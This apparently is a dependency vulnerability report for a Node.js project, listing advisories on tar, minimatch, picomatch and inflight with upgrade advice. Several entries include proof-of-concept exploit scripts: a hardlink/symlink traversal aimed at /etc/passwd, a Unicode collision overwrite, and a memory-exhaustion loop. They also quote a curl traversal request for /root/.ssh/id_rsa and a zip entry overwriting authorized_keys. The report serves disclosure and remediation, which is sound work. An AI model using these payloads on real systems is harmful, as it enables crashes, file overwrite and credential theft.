Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte sanitization in src/pax.ts, src/parse.ts, and src/header.ts during asynchronous extraction. The sanitization regex /\0.*/ uses a bare dot that does not match line terminators (\n, \r), so a NUL byte appearing after a line terminator in an archive-controlled path or linkpath string survives the replacement. The surviving NUL is passed to Node.js filesystem APIs (e.g., fs.lstat) inside an async continuation where no node-tar code catches the resulting TypeError [ERR_INVALID_ARG_VALUE], causing an uncaught exception that terminates the extracting process. An attacker who can supply an archive to any process that extracts it with the default asynchronous tar.x / tar.extract API can crash that process with a single small archive, bypassing even correctly structured try/await/catch consumer error handling because the throw occurs outside the returned promise and outside the stream error event.

Note: This is only exploitable via the asynchronous extraction API (tar.x / tar.extract); synchronous extraction (UnpackSync) and listing (tar.t) are not affected.

PoC

node-tar-nul-termination-bypass-PoC.zip

See the attached PoC zip. Summary:

./deployment/deploy.sh     # stages a sandbox with pinned tar@7.5.22
./poc/poc.sh               # builds six archives and runs the assertions

poc.sh prints one PASS line per assertion and ends with RESULT: 8 passed, 0 failed on the affected version. It includes a benign control, the original advisory payload (clean since 7.5.17), the CR bypass variant, two raw-header variants (CR and LF), a GNU L variant, and negative controls proving that sync extraction and listing do not crash. Full executed output is in the zip's README.md.

A minimal single-archive reproduction: build a tar whose first entry is an x extended header containing the record 15 path=p\0q\r\0r (valid length prefix), followed by a normal file header, then run tar.extract({ cwd }) asynchronously. On tar@7.5.22 the process dies with ERR_INVALID_ARG_VALUE naming the path <cwd>/p\r\x00r.

Note: The PoC targets tar@7.5.22 and is run in a sandbox staged by a deployment script included in the attached zip.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via PathReservations.getDirs() in the asynchronous extraction path (tar.x, tar.extract, new Unpack()), where a deeply nested entry.linkpath delivered via a GNU 'K' long-linkpath meta entry causes O(n^2) CPU work and unbounded transient heap allocation. The existing maxDepth guard introduced by the CVE-2024-28863 fix applies only to entry.path, leaving entry.linkpath uncapped, so an attacker supplies an archive whose linkpath contains hundreds of thousands of single-character path components. The quadratic allocation exhausts the Node.js heap, freezes the event loop, and terminates the process with an uncatchable FATAL ERROR: heap out of memory (exit 134 / SIGABRT) that neither try/catch nor process.on('uncaughtException') can intercept.

Note: This is only exploitable on POSIX hosts; the reserve() path is a no-op on Windows.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity

GPL-3.0 license

  • Module: imgur-node
  • Introduced through: imgur-node@0.2.0

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › imgur-node@0.2.0

GPL-3.0 license

medium severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: minimatch
  • Introduced through: recursive-readdir@2.2.3, del@6.1.1 and others

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › recursive-readdir@2.2.3 › minimatch@3.1.5
  • Introduced through: gideon@adrifcastr/Gideon › del@6.1.1 › rimraf@3.0.2 › glob@7.2.3 › minimatch@3.1.5
    Remediation: Upgrade to del@8.0.0.
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › glob@7.2.3 › minimatch@3.1.5
  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › minimatch@3.1.5
    Remediation: Upgrade to canvas@3.0.0.
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › archiver-utils@2.1.0 › glob@7.2.3 › minimatch@3.1.5
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › zip-stream@2.1.3 › archiver-utils@2.1.0 › glob@7.2.3 › minimatch@3.1.5

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.

Remediation

Upgrade minimatch to version 11.0.1 or higher.

References

medium severity
new

Incorrect Regular Expression

  • Vulnerable module: picomatch
  • Introduced through: del@6.1.1

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › del@6.1.1 › globby@11.1.0 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2

Overview

Affected versions of this package are vulnerable to Incorrect Regular Expression via the globstar function in lib/parse.js, where globstar (**) patterns are compiled without the dotAll flag, causing the generated regular expression to use . which does not match line terminator characters. An attacker who controls file names, object keys, or archive entry names can embed newline characters in those names to evade **-based deny patterns, causing excluded resources to be included and exposed.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Incorrect Type Conversion or Cast

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.

Remediation

Upgrade tar to version 7.5.16 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.

Remediation

Upgrade tar to version 7.5.17 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tar to version 7.5.21 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: del@6.1.1, zip-promise@1.1.1 and others

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › del@6.1.1 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › archiver-utils@2.1.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: gideon@adrifcastr/Gideon › zip-promise@1.1.1 › archiver@3.1.1 › zip-stream@2.1.3 › archiver-utils@2.1.0 › glob@7.2.3 › inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References